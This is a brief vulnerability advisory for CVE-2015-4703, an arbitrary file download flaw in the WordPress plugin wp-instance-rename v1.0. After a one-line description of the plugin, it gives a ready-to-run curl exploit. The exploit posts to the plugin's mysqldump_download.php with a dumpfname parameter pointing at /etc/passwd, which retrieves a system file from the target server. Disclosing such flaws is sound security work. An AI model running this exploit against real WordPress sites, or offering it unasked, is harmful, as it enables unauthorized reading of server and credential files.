Arbitrary File download in wordpress plugin wp-instance-rename v1.0
CVE ID(s):
CVE-2015-4703
Notified: 2015-06-12
Description:
WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
Exploit:
curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip